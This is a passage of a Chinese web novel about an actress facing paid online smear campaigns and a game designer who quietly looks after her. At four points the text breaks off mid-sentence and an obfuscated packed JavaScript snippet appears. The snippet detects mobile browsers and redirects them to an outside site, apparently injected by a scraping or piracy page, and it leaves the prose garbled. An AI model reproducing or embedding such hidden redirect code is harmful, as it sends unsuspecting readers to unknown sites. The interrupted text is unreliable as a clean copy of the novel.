“合一不愧是新晋资本,居然比我想象中还有手段,他们查到了水军源头,包括上一次推你上热搜的人。”何曦语气轻快,一个大难题被解决,她脑子里那根绷上的弦都松了不少。 有水军? 元时亦气息微顿。 这么说,那些有针对性的评价,其实是有意为之? 何曦继续道:“所以那边立刻把水军撤了,合一只稍微压了下热搜,怕热度太大剧组有压力。” 事情的真相居然比她想象中好许多。 元时亦重新点进相关词条,留下的评论里,质疑声是还有不少,但除去无法接受影视化的粉丝外,多数都是对“诸灵电影”的期待,确实更像真实的反馈。 元时亦心神定下,问出那个最想知道的问题,“那推手是谁?” “叶紫嫣。” “可能还有,罗青蔓。”后面这一句,何曦说得不太确定。合一那边并没有得到十分明确的结果,只是所有的线索都指向了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290596|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位同样当红的小花。 果然。 两个名字一出,元时亦竟有种如释重负之感。 她知道自己拿到这块好饼,一定会被不少人盯上,可暗中想要针对她的人到底是谁,她无从得知,明面上,大家都知道要如何处理人际关系,不会撕得太难看,可暗地里,谁也不知道谁会在背后捅自己一刀。 这两个人会这么做,元时亦并不意外。 叶紫嫣是在阿似选角这一事上,网友投票最多的女演员,也是江燚当初差一点要定下的候选者。 如果不是突然冲出个元时亦,叶紫嫣几乎是最有可能拿下阿似的人。 毕竟,无论在谁的眼中看来,这位被读者认可,被玩家推荐的女明星,都将是最佳人选,更不要说她刚在影圈崭露头角,完全符合江燚的要求,那有什么理由拿不到角色? 元时亦却没有太担心,因为叶紫嫣若真如舒妤所说,连原著都没有好好看过,那么,她还是有赢过她的底气的。 至于罗青蔓,元时亦记得,网传罗青蔓与叶紫嫣是圈内少有的真闺蜜,那她会帮着叶紫嫣针对自己,就不奇怪了。尤其是,她们曾在姜洺那部剧的试镜中,产生过一点并不愉快的交集。 不等元时亦理清这其中关系,又一条新的热搜闯入眼帘。 #罗青蔓手滑# 对啊,她怎么忘了,这一位,可是背靠着大树,根本不会害怕被查,甚至于,还会主动跳出“承认”。 罗青蔓k:不好意思,手滑了[可爱],不要在意。 她微博里说着“不要在意”,可明白人都知道这是此地无银,所以她暗示的这件事,一定会被翻个彻底。 一张截图被迅速传播开来。 她点赞了一条关于“元时亦金主”的微博。 而这也是元时亦第一次在娱乐圈板块看到“颜屿”的名字。 「真的假的啊,合一下放到影视部门的是颜屿?」 「-不是吧,颜屿怎么可能去管影视的事啊,他不是主策吗,策划走了谁管游戏,我请问呢」 「-他都这个级别了,怎么可能还亲力亲为,肯定都是定完计划交给下面人处理」 「别造谣哈,我上个月实习还在合一看到颜总了,他肯定在管游戏」 「-保真吗兄弟,万一他两边兼顾呢?」 「我说你们画风是不是跑偏了,这不讨论金主呢么」 预想中的“潜规则”、“傍大佬”、“金丝雀”几个词并未出现,许是大家不相信她会傍金主,又或是不相信颜屿会扔下游戏进军娱乐圈,又又或者,是完全不觉得她跟颜屿能扯上关系,这条微博下的评论,明显没有get到博主想要表达的意思。 难怪,罗青蔓会故意出来吸引注意。 何曦的电话仍旧连着,“得,看来还真有她,我去帮忙处理一下。”说罢她又提醒道:“你也别刷微博了,免得影响心情。” 元时亦应了一句“好”。 电话挂断前,何曦还感叹了声,“这些网友也不想想,你要真傍上了颜屿,这条微博还能存在吗?” 而颜屿的微信消息,恰好在这一刻出现。 【颜屿:元老师刷微博了吗?】 元时亦心脏轻漏一拍,他说的是哪条微博? 没有等她回复,颜屿再一次发来信息,将话题挑明。 【颜屿:你的金主】 18. 糖水 颜屿看到那条微博了。 元时亦呼吸霎时间停滞,小白框里的四个字将她定在原地。 你的金主。 类似这样的花边新闻,她也曾被捏造过几次,可那些都假到让她不愿搭理,全权让何曦处理,仅有过的一次,因为过于离谱,她在微博发了一大串的“哈哈哈”阴阳造谣的营销号,自那之后,这种绯闻就很少了,最多是磕一磕为了剧宣而营业的CP,网友还调侃过,别看她嘴上是笑着,但眼里只有对自己敬业的认可,完全没有对男方的倾慕。 可看到这一条“绯闻”,元时亦竟冒出一股莫名的紧张。 输入框里的内容被她删删写写,她不知该怎么回。 颜屿主动找她问这件事,大概是有话想说。 毕竟,任何人被传出这样的谣言,应该都会不舒服吧。 如果需要她澄清—— 微信铃声在这一刻乍然响起。 元时亦神经瞬间绷紧,颜屿直接将语音拨了过来。 床单被攥得发皱,不知在什么时候,她的手心生出了一层薄薄的汗。 数秒后,微颤的指尖伸出,终于将接听键滑动。 “现在方便说话吗?”熟悉的声线从听筒中传出,并不似想象中那般低沉。 “嗯……方便。”开了口,元时亦才发觉自己的嗓音里带着一点无措的哑然。 一问一答结束,手机里却陷入了短暂的沉默。 似乎都在等对方先提。 元时亦空着的左手紧了紧,圆润的指甲陷进手掌里,竟有些疼。 那还是她先来吧。 “需要我澄清一下——” “需要我处理一下——” 两道声音同时出现,元时亦不自觉停顿住。 等到耳边再次静下,她才反应过来颜屿说了什么。 需要他处理一下吗? 若没有何曦最后说的那句话,她或许觉得有处理的必要,可实际上,他们并没有什么见不得光的关系,那又何必做这些容易被曲解成“心虚封口”的事。 “不用。”元时亦回。 她与他之间,清清白白,没有什么需要遮掩的。 电话那头,颜屿似是轻笑了一声,“好。” “那我也不用。” 他也不用她去澄清。 元时亦心跳猛地加重一拍,所以,他并不介意这件事吗? 元时亦眼眸轻闪,还是说他其实是有什么其他想法,比如,将错就错—— “那元老师会觉得困扰吗?这种事,对女生来说,并不好。” 心跳在刹那间缓和,还好,不是她想的那样。 “没事,无中生有的事情,过两天就没人关注了。” 网络环境一贯如此,捕风捉影的事,无需理会,热度降下后,不出几天便能消失个干干净净。 “嗯,那就好。” 颜屿的语气恢复如常,明明是一句很普通的话,元时亦却好似听出了一股遗憾,极淡,淡到她以为只是自己的错觉。 而“金主风波”在持续发酵了十多分钟后,舒妤连着手滑了好几条关于圈内各小花“金主”的微博,成功将注意力转移出去。 她点赞了罗青蔓、叶紫嫣、元时亦等好几人的相关猜测博文,甚至包括她自己的。 她在“舒妤金主”的那条微博下留言: 「好久不冲浪,原来有这么多离谱的瓜,我笑死了。」 她的留言下,还有两个熟悉的名字。 「方想:哈哈哈哈哈哈哈哈哈哈,这谁写的,图上是她爸啊,亲的!」 「周泽洋:下次跟叔叔吃饭的时候,可以拿出来当下饭菜」 最终,这场闹剧在颜屿转发了一条诸灵手游比赛活动的微博后落下帷幕。 - 同一时间,某家娱乐公司的大楼内。 罗青蔓将手机往桌上一甩,“现在行了吗?张大经纪。” “行,就这样吧。”张潜起身,叹了口气。 他是罗青蔓的经纪人,也同样,是叶紫嫣的经纪人。 “拿不到资源,是她自己没本事,给别人泼脏水有什么用?” “她这不也是不甘心吗,嘴边的鸭子被抢走。况且,你那次去试镜,不是也见到那位颜总了吗,就真没觉得他和元时亦有什么问题?” 罗青蔓冷笑一声,“没有。” 她并没有说出那日试镜结束后,颜屿助理来问她元时亦身上那件外套是哪种款式的事情,这件事是很微妙,但这不正能说明,这两位的确不熟。 “所以呢,你准备再找点其他的资源补偿她?” 罗青蔓十八岁那年被张潜签下,跟在他身边已有六年,而叶紫嫣,则是一年前与前公司和平解约后进到这家娱乐公司,被分到仅带了一位艺人的张潜手上。 “嗯,我正在接洽两款国货美妆的代言。” “国货?她看得上吗?”说到此处,罗青蔓像是想到了什么,对着张潜讥讽道:“你不如就跟五年前一样,把她也送到某张大佬的床上——” “小蔓!” 拿起手机,罗青蔓摔门而出。 - 正式开机后,因为继续上着课程,元时亦基本又进入到七天无休的状态。 江燚担心她长期这样下去身体会吃不消,便帮她调整了一下戏份时间。好在她自己足够努力,再加上慢慢开发出一点悟性,拍摄也能有条不紊地进行着。 只是下午的这场水下戏,江燚迟迟找不到最完美的角度,元时亦进出水池数次,体力被不断消耗。 “阿似,今天先到这里吧。”江燚将元时亦叫到身边,“是我分镜没有做好,这场戏先暂停。明天给你放一天假,你好好休息一下。” “没事的江导,我睡一晚就好了。”元时亦拿起毛巾将身体擦干。她年少时为了冲比赛名次,能在泳池里来来回回游几个小时,直到能量全部耗尽,而第二天依旧生龙活虎。这种事对她来说,完全可以应付。 “听我的,先休息。”江燚难得强硬了一回,“正好我明天去B组那边盯一下,有几场戏可能需要修改。” 江燚都这样说了,那她就无需再推辞。 “好,谢谢江导。” 回到酒店,元时亦洗了个舒服的热水澡,一想到第二天能睡上一个大懒觉,一整天的疲惫都消散了许多。 “那不然,新本咱们明天再打?” 她跟三月连着语音。 新本?! 昨天游戏更新后开启了一张新地图,出了个新的机制本,她昨晚随手刷了下游戏论坛,似乎有些难,需要一点团队配合。 元时亦摘掉面膜,一个鲤鱼打挺,“现在就打,今晚不过谁也别想睡觉。” 带着必胜的决心,五人小队卡在了最后一关。 周三月看着躺在地上的三具尸体,忍不住吐槽,“不是,这本怎么这么难啊?” 钻家连声附和:“我的手都快抽筋了,奶不住啊,根本奶不住。” 元时亦的手机屏幕,至少有一半以上的时间是灰色的,她暴躁地捶了下身边的抱枕,“哪个狗策划出的啊,他设计完以后自己玩过吗我请问!” 而这位被她骂的狗策划,也就是颜屿,听着耳机里的吐槽,嘴角染上一抹微不可察的弧度。嗯,他正在玩。 无法在语音里回答,颜屿发出一个表情包。 【与山言:[真是过分]】 是一只皱眉的小比格,以仰视的角度看向上方,捏着拳,在生气。 元时亦·放大版生气:“真是太过分了!” 又一次团灭后。 元时亦身子向后一倒,整个人躺到沙发上。 “我不行了。”她轻闭上眼,调节一下情绪,“我感觉我这个角度总是躲不掉BOSS的技能,有时候看着明明不是我这个方向的,还是能打到我。” 【与山言:换个视角呢?】 “换个视角?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290597|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游戏操作中,有第一视角跟第三视角的区分,元时亦一贯是选择后者,视野广,操作起来会更舒服。 如果换成第一视角的话,她可能会不太习惯。 但,这不失为一个尝试的方向。 于是她点开设置,将操作界面重新排列一番。 一个全新的角度展现在眼前,她不再看着游戏人物如何行动,而是跟着人物的视线面对一切。 她试着放了一下技能,果然,只能看见挥剑的动作,无法感知其他。 代入感极强。 画面随着眼睛转动,身后的景象她难以察觉,可眼前的所有,都一清二楚。 “来吧,再试试。” 这一次,BOSS再施放出那个让她难以躲避的技能时,她能清晰地看到技能前摇,在攻击抵达身体前,她已控制好轮盘方向,轻松躲了过去。 “我天,居然真的可以……” “亦亦,后面还有!”元时亦话还没说完,站在远处的周三月就出声提醒。 BOSS的技能打到空气墙却并未消失,而是反弹着再一次朝元时亦的方向冲去。 由于第一视角需要转动镜头,元时亦已然是来不及操作,下意识的,她往右一个翻滚—— 成功了! 元时亦吐出一口气,终于。 有了片刻的放松时机,元时亦稍微复盘下,刚才,她似乎听到了扬声器里传出的技能音效,在左侧。所以,她才能那么果断地往右躲闪。 这副本,倒是做得挺细节的。 连声音都要同步—— 等等,这个镜头,不是很适合下午那场水下戏吗? 阿似入水以后寻找目标,却不知自己早已被发现。 如果以她的视角开场,岂不是更能营造出那股紧张与意外感,特别是,背后攻击袭来时,阿似因为熟悉水,绝对是可以通过声音发现目标的。 “我知道了!”元时亦不自觉出声,后天去了片场,她就可以跟江燚商量这件——“嘶。” 突然,小腹传来一阵强烈的坠痛。 这个感觉…… “怎么了亦亦?”周三月立刻察觉出元时亦的异常。 “没,”元时亦隐晦地回到,“那个痛。” 她看了眼日期,快到生理期的日子了,这两天一直泡在水里,再加上她刚才还因为吐槽副本喝了杯冰可乐,不常痛经的她,遭受到了因为不注意身体而产生的“反噬”。 “天。那你……要不先不打了吧,你去休息。”同为女生,周三月当然理解这种疼痛感袭来时有多么难以抵挡。 “不行。”元时亦咬住轻微发白的嘴唇,好不容易打到最后一个BOSS,还过了那个让她讨厌的技能,这一关必须结束,“打完。” 听见这两个字,想要点开私聊窗的手指骤然停下,重新回到了技能盘上。颜屿眸色轻沉,她一贯是这样倔强不服输的,还是先陪她打完吧。 一队人精神高度集中后,这个困难的副本总算是顺利通过。 元时亦火速下线,耳麦里还留有周三月最后的叮嘱:“记得吃布洛芬!” 垂坠感一阵接一阵,元时亦无暇顾及其他,吃过药便倒进了床里。 额头上布满细密汗珠,一张惨白的脸包裹在乌黑长发中,失了血色。 不知过了多久,一道门铃声出现,元时亦微微转醒,药效上来,她好了不少。 是路芙。 “怎么这个点来了,有什么事吗?”元时亦看了下时间,已经快晚上十一点了。 “姐,你居然没睡啊。”路芙抠了抠头发,脸上是纳闷的表情,“你没看大群吗,那个颜总今晚请吃夜宵,我看你没有回复以为你睡觉了就没来打扰。结果他助理非让我把这个给你。” 路芙拎起手上的东西。 一碗打包好的糖水。 元时亦接过,还是热的。 手机在这时亮起。 【颜屿:记得喝。】 19. 巧合 两小时前。 看见情缘列表内灰掉的头像,颜屿心紧了紧。 她应该很清楚怎样照顾自己,可他还是忍不住。想要知道她现在怎么样了,有没有吃药,吃了药会不会好一点。 退出游戏,颜屿拨通助理陆齐的电话。 “陆齐,去给剧组安排一下夜宵。” 陆齐很快回复,“好的颜总,菜品上有什么要求吗?” 颜屿点开日历,“今天是夏至,就点小龙虾吧。” “记得再准备甜品、甜水一类的解辣。” “如果有其他需求,让他们自行点就好,后面找我报销。” “明白。” “再叫人帮我买几样食材,红……算了我自己去吧。一个半小时后来我这里一趟。” 这种事,理应亲力亲为。 “好的。” 交代完一切,颜屿驱车赶往最近的超市。 他需要一个合适的理由,否则他将暴露网络后的身份。 他不怕她知晓这件事,他怕的是,会吓着她,会让她因此而躲着他。 没有十足的把握前,他不敢冒险。 来到干货区,颜屿挑了红枣莲子跟百合,小推车里已装了红糖、米酒跟小汤圆,他需要再加一点点缀。 货架里有桂花干,颜屿拿起其中一盒,食谱里说这个可加可不加,只是用来增香。 增香。 那这个不行。 放下桂花干,颜屿转手拿了一小盒旁边的枸杞。 至于盛糖水的容器,他回到厨具区,将玻璃碗放回,换成了可保温的一次性打包盒。 一个半小时后,他跟着陆齐一起找去了路芙那儿。 “把这个给时亦姐?” “对,元老师不是没来嘛,就帮她打包了一份。”陆齐站在路芙面前,而他身后不远处,是低头把玩手机的颜屿。 路芙看着陆齐手里的这份东西,总感觉哪里怪怪的,“确定只有这个吗?我们可都是吃的小龙虾也,就这一份是不是太简单了。咦,”路芙凑近鼻子嗅了嗅,“红糖?还是热的?” “啊哈哈哈,女明星不是都要做身材管理嘛,准备多了怕元老师不喜欢,这个不容易长胖。而且大晚上的,吃太凉,对身体不好。”陆齐尴尬挠头,死脑再想点理由啊! 路芙拿起手边空掉的碗,眼神充满怀疑:那你刚才还给我们点那么多冰粉? “咱们这不吃小龙虾呢嘛,那就得配冰的,正好解辣。” “元老师这份就最好热乎一点,趁热吃,对吧,哈哈哈……”陆齐笑得嘴都要干了,他快要顶不住路芙的连环追问,不得不挪着身子向后方之人求助,老板,你赶紧出来说句话呀! 察觉到陆齐的眼神暗示,路芙眯了眯双眼,“你有问题。” 颜屿站在两人的斜后方,似乎正在玩手游,他穿着一身休闲服,不是平常那般正经工作的模样,可同样,也没有加入他们夜宵大军的打算。 那他过来干嘛? “快别问了,就当是粉丝的小关心。”多说多错,陆齐心一横,把东西往路芙手里一塞,“趁热,抓紧!” “行吧。”问不出原因,那还是先去把东西给时亦姐比较重要,就是不知,她睡了没有。 抵达元时亦房间门口时,路芙并未发觉,自己已被人“尾随”了一路。 颜屿站在走廊楼道的拐角处。 他想知道,她现在怎么样了。 如果她已经睡下,那就不去打扰她。 如果她还醒着,那—— “怎么这个点来了?” 手机停留在与元时亦的聊天界面里,颜屿点开键盘,慢慢打出三个字。 【记得喝。】 他忍不住。 他知道这条消息发出去会有多么大的风险,可他还是这么做了。 如果她问,那就向她坦白。 然而,预想中的质问并未来临,一个小时后,他收到了一张照片。 - “不是颜总给你的吗?”看到手机上的微信消息,元时亦生出一点疑惑。 路芙摇头,“不是啊,是他助理,陆齐。他说看你没来,就帮忙你准备了一份这个,还说什么是粉丝的关心。” “真奇怪,我们今晚吃的是小龙虾,喝的是冰可乐,还搭配了冰粉冰糖水啥的,可他居然打包了一份热的。” 虽然也觉得哪里有点不对,但元时亦还是将它接了过来。 她现在正好需要这个。 送走路芙,元时亦将糖水拿到餐桌上。 打开包装盖,熟悉的红糖味扑面而来,没有太过甜腻,是她比较喜欢的甜度。 小汤圆,红枣,还有一点百合跟莲子,份量都不算多,搭配得刚刚好。 这家店不错。 拿出勺子,元时亦浅尝一口。 好吃! 汤圆的糯度她太满意了,没有煮到特别绵软,轻微的弹性,而她正好就喜欢这种带点嚼劲的。 拿出手机,她打算边冲浪,边慢慢享用这份意外到来的夜宵。 等她从网络上抽离出来时,才发现时间已到零点,而打包碗里—— 空空如也! 她居然全部吃完了?! 这份糖水并不算太多,只是一份正常甜品的量,可对于她这种女明星来说,不管什么食物,她都只能够吃小份。 她是没有浪费的习惯,但是吃得这么干净……哎,等经期过去,健身得继续跟上了。 点进微信,除了大晚上还依旧活跃的几个群聊外,最新的消息,就是颜屿的那句“记得喝”。 所以,糖水其实是他让人准备的吧。 可是,他怎么会知道她需要这个? 元时亦纤细的手指在键盘上动了动,她要问清楚吗? 问他怎么知道她在特殊时期? 这会不会有点太奇怪了。 而且万一,只是巧合呢? 刚刚路芙也说过,她们也一样配有糖水,只是她们的是冰的,用来解辣。她这一碗由于没有其他食物,才专门准备成热的。 倒也能说得通。 那还是不想这么多了。 元时亦将输入框里的文字删干净,拍了张照片发过去。 完全空掉的碗。 够给面子吧。 嘶,等等,这样会不会显得她有点馋啊。 算了,撤回撤回。 直接说声谢谢不就好了。 【颜屿:嗯,早点休息】 【颜屿:[晚安]】 ! 现在不是都十二点多了吗,他竟然还没有睡? 没想到颜屿回复的速度会这么快,元时亦连撤回的选项都没按出来。 还好,他并未对她的空碗做出点评。 元时亦放开手指,事已至此,这张照片就只能留在这儿了。 - 进入七月,沪城的温度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290598|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一夜间就飙近四十,晨起的风吹在脸上,都有些热黏。 “老江,太热了,咱啥时候去山里啊。”方想在江燚耳边碎碎念。 “快了,再等几天,等阿似的水下戏拍完就过去。” 元时亦脱掉身上的戏服,薄汗布在胸前与后背处,将衣服颜色洇湿更深。 没办法,电影中设计的战斗服实在太过贴身,再加上材质不属于透气的类型,身体长时间闷在里面,很难不出汗。 换好衣服,她从房车里出来。 “江导,要不让大家先过去吧,我晚一点再去。” “这怎么行,肯定要一起走。”场地道具组之类的,先过去布景倒是没问题,但演员们之间,最好还是一个大部队一起过去,安全点。 “又没几天了,天天吹着空调,热什么热!”江燚用稿纸敲了下方想的脑袋,“进了山,你戏份多着呢。” “没事的江导,他们过去了可以先拍,不然大家一直在这里等我,我也过意不去。”元时亦跟江燚打商量,阿似的内景戏偏多,再加上重要部分都在水下,山里的戏份就相对少一些,“而且这样一来,我这部分就不用太赶时间了。” “这……”江燚被说动了点。 那天元时亦提出视角建议后,他连夜修改了分镜图,只是后面的戏份都已按计划排好了通告,这场戏就一直被搁置着。 而现在,B组那边的问题已处理完毕,他只用关注这一场戏就可以。方想他们,的确可以先过去拍摄着。 “再说,您不也会留下来吗,我可以跟您那批一起走。” “那好吧。” 于是,剧组一大半人先浩浩荡荡启程赶往避暑山庄,只留下一小组人员处理元时亦戏份的相关问题。 江燚跟颜屿打了个招呼。 “我们分两批走,第一批就这几天全部过去,另一批要等后面。” “嗯,好。”颜屿在电话那头翻了翻办公桌上的台历,“什么时候?” “应该10号左右。” 七月十日早,路芙办理完自助值机,拿着机票来到元时亦身边。 “呜呜,姐,头等舱没有连座了。” 路芙耷拉着小脑袋,一脸难过地捏了捏登机牌。 “没事儿,就几个小时呢,很快就到了。” “那你记得把帽子跟口罩戴好,不要跟陌生人说话,飞机一停我马上去你座位旁边等你!” 元时亦一脸哭笑不得,她俩也不是第一次分开坐飞机,以往甚至有过因为没票,只能她坐头等舱,路芙去经济舱的情况,那时,她的这位小助理可没有这样紧张过。 “好。” 半小时后,两人跟着其他工作人员一起登机。 元时亦来到座位上坐好,听了路芙的叮嘱,她没有摘下头上的黑色渔夫帽,只朝内打开口罩,浅浅地喝了一口水。 “姐,我就在那边哈,有事你随时滴滴我!”路芙找到座位后并未第一时间坐下,而是来到元时亦身旁小声嘱咐她。 元时亦旁边的座位是空的,这位乘客还没有来。 “好。” 口罩重新戴上的这刻,一位身穿纯色短袖衬衫外加宽松长裤的男人出现在走道口,他头上同样戴有一顶纯色帽子,胸前却挂着一颗彩色的徽章吊坠,有些显眼。 陌生的风格,却又有几分眼熟。 “元老师,好巧。” 元时亦双眸微睁。 是颜屿。 20. 邻座 好巧。 原来她的邻座是他。 元时亦收回目光,回应道:“嗯,颜总,真巧。” 那天她没能说完的两个字,被他说出了口。 颜屿缓身坐下,将元时亦的身影牢牢圈护在内。 他并未戴眼镜,许是因为出行,选择了宽松舒适的风格,而这一身,也的确不适合那副蕴着禁欲味的桎梏。 元时亦溢出一点余光,修长干净的手将纯色棒球帽往上轻抬了抬,手腕上是一条同色系手绳。她记得,他胸前还挂有一条项链。 少见的配饰,应该说,这样偏潮男的穿搭,很少在颜屿身上看到。 只不过,一般这类型的搭配,项链上不通常是指环挂坠吗,怎么他带的是一枚徽章—— 徽章? 元时亦禁不住偏头看了一眼,她就说自己为什么会把这枚小东西默认成徽章,原来它也是金属材质,光栅款。 “元老师对这个感兴趣?” “偷看”被正主抓到,元时亦赶紧将脑袋转回,“没有,只是眼熟,我有一枚粉丝送的礼物,也是同种样式。” “哦?是吗。”颜屿伸手摩挲一下徽章表面,心情似乎高涨,“介意给我看——” “颜总,早上好啊。” 飞机即将起飞,最后几位乘客姗姗来迟。 是江燚的助理。 他拎着包出现在两人面前,看到颜屿身旁全副武装的元时亦,他没有再出声,只做了个颔首的动作跟她也打了个招呼。 江燚没有跟着他们这批小分队,这位大导演有一点私事要处理。 导演不在,作为助理的他,就需要肩负起照看大家的重任。为确保每一位剧组成员都没有落下,直到最后一刻他才登上飞机。 “嗯,早上好。”颜屿抬眼看了看他,声线崩得很直。 导演助理找到座位坐下,他怎么觉着颜总今天有点冷淡呢。 “江导是不是没有跟我们坐同一趟航班。” 元时亦的注意力被忽然到来的人引走,完全没意识到颜屿最后说了什么。 “嗯。”话题已经错过,再提就显得刻意,“非也老师先回了沪城。那小孩放暑假了。” 没头没尾的两句话,但同为知情人,元时亦立刻就能明白他的意思。 难怪她这几天都没有在片场看见非也,她还以为非也早就跟着大部队进了山。 对话在这里结束,飞机启动,在跑道上行驶起来。 头等舱内很安静。 等飞机平稳后,元时亦拿出包里的平板。 她最近正在某站上看一部《诸灵》原著深度解析视频,博主为这部小说专门做了一个系列,她已经追到了最新一集。 这种解说类的视频她看得并不多,再加上有任何问题都可以直接找原作者解答,她便很少关注这种东西,直到她在游戏论坛上刷到这组视频的切片。 博主的分析与看法从另一个角度解答了她的疑惑,受到启发后,她在相关的那场戏上呈现出了出色的表演,于是,她找到原视频,开启追更模式。 连上Wi-Fi,元时亦将耳机戴好,这一期昨天晚上刚上传出来,还是新鲜热乎的。 一点开视频,元时亦立马就进入沉浸式状态,可这期视频实在很干,全程无水的干货,似是要把各种疑点都讲个透彻,留白的部分被生硬填满,逻辑性是很强,可没有给观众留一丝想象空间。 元时亦看着看着,眼皮就开始打架。 她昨天明明睡得挺足的。 不行,太干了,顶不住了。 元时亦双眼阖上,进入睡眠的前一秒,她似乎感觉到带着凉意的指尖悄悄探过来,帮她关上了平板。 颜屿拿出口袋里的手机。 【颜屿:《诸灵》后面的解析你不用帮忙了】 【夏季:?】 【夏季:why】 【夏季:哥们这效率不高吗】 几天前颜屿找到他,问他有没有空帮忙做个视频。 他常年混迹在某站,做过很多篇编程语言的教程,收徒无数,这种视频对他来说,简直小菜一碟。 他还在颜屿规定的时间上提前了一天。 【颜屿:做得有点无聊】 六个字发出后,颜屿立即收到了夏季的连串控诉。 【夏季:what???】 【夏季:什么意思?卸磨杀驴?】 【夏季:懂不懂尊重人的劳动成果啊】 【夏季:[彻底疯狂]】×N 这期视频的点赞跟浏览量是没有达到之前的量级,可才发出一天,少点也很正常吧,况且也没几个人说无聊啊,最多就是嫌干巴了点,得配些下饭菜。 【颜屿:[转账]辛苦费】 【夏季:您说得太对了,是很无聊,后面有需要再找我,我一定改进】 颜屿关掉手机,以后还是自己来吧。 元时亦从睡梦中醒来时,行程已过去大半。 看一眼时间,还有不到一个小时。 这个时长,可以再玩会儿手机,至于那个视频,元时亦默默点开退出键,今天先不看了。 平板再次被摁灭,黑色的屏幕上倒映出身旁人的侧脸。 高挺的鼻梁直立在帽檐之下,眉眼被全部挡住,只能看清一条偏薄的唇。 元时亦稍微偏移了一下平板的角度,呼吸平稳,颜屿好像也睡着了。 上一次以这种视角观察他,还是在他的那辆迈巴赫上。 只不过那时她与他刚相识,出于不知全貌的第一印象,她会不由自主地远离他。 元时亦视线转下,头等舱很宽敞,自带距离。 可两人的座位却紧紧相邻着。 没有像以前那样挪动开身子,元时亦想,他们现在,也算是相熟了一点吧? 冲浪冲不进去,元时亦索性退回主界面,她注意力怎么没法集中呢。 看到桌面上的手游图标,元时亦没有犹豫地点上去,注意力集中不了,打两把PVP就好。 面对战斗,她绝对是百分百的全神贯注。 然而,一局结束。 她居然输了?! 元时亦小小地怒了一下。 情绪上来,接下来的几局果然都轻松获胜,直到,她遇见一位技术不错的对手。 元时亦脑中规划好作战计划,前半部分一度占领上风,可对面仿佛看出了她的想法,在抓到她的一次破绽后,直接一套将她带走。 元时亦看着自己顷刻间消失的血条,等结算界面结束都没能回过神来。 她这就死了? “你已经打得很不错了。水平相当的情况下,地岩是会克制长水的。” 突然一道声音出现,将元时亦意识猛地拉回。 嗯?颜屿什么时候醒了? 元时亦侧过头,撞进颜屿深邃的眼神里。 颜屿的眼型偏长,微微凹陷进去,盯着人看时,就像一片静谧的海洋,海面风平浪静,海下却藏着无数秘辛,引人陷入,引人探究。 元时亦看得久了,一下忘记他说了什么。 他说她打得很不错,嗯,中听。 不对,他怎么知道她打得不错,他看她打游戏了? 思绪这么一转弯,说出的话就变成,“颜总刚刚是在偷看我玩游戏吗?” 没有料到元时亦会回这样一句,藏在帽檐下的眉眼瞬间躲闪开,“抱歉,看到元老师在玩我们开发的游戏,自然会想关注。”耳尖泛起一抹热度,颜屿轻咳一声,想要掩饰过去,“不好意思。” 元时亦当然不是这样小气的人,只是她难得抓到一次能让颜屿“吃瘪”的机会。 她心情一下好起来,原来捉弄人这么开心。 “那麻烦颜总指教一下吧。” 察觉到元时亦并不是真的介意这件事,颜屿内心绷上的弦松开,调整好情绪,他淡声开口:“元老师应该还记得阿似跟地蚩那场戏吧,地岩虽然会克制长水,但阿似还是赢了,所以地岩在使用牢笼控制时,长水可以提前使用引水技能对地岩造成一次伤害反弹,并控制对方一秒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290599|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元时亦在游戏中的职业叫长水,原型水之灵阿似,手游在职业设计上,采用的是元素灵的基础设定,职业平衡方面,则是根据元素性质,制定出一套相生相克的规则。 目前游戏内已出了流风、长水、明焰、地岩、隐夜等十多种职业,长水被地岩克制,参照的就是“水来土掩”这一观点。 “这也是我们为了做好游戏平衡,而增加的隐藏细节。” 原来是技能小彩蛋! 她记得,《诸灵》手游中藏有一些根据原著而设计出的彩蛋情节,只是这部分内容不会在系统内展示,需要靠玩家自行挖掘。 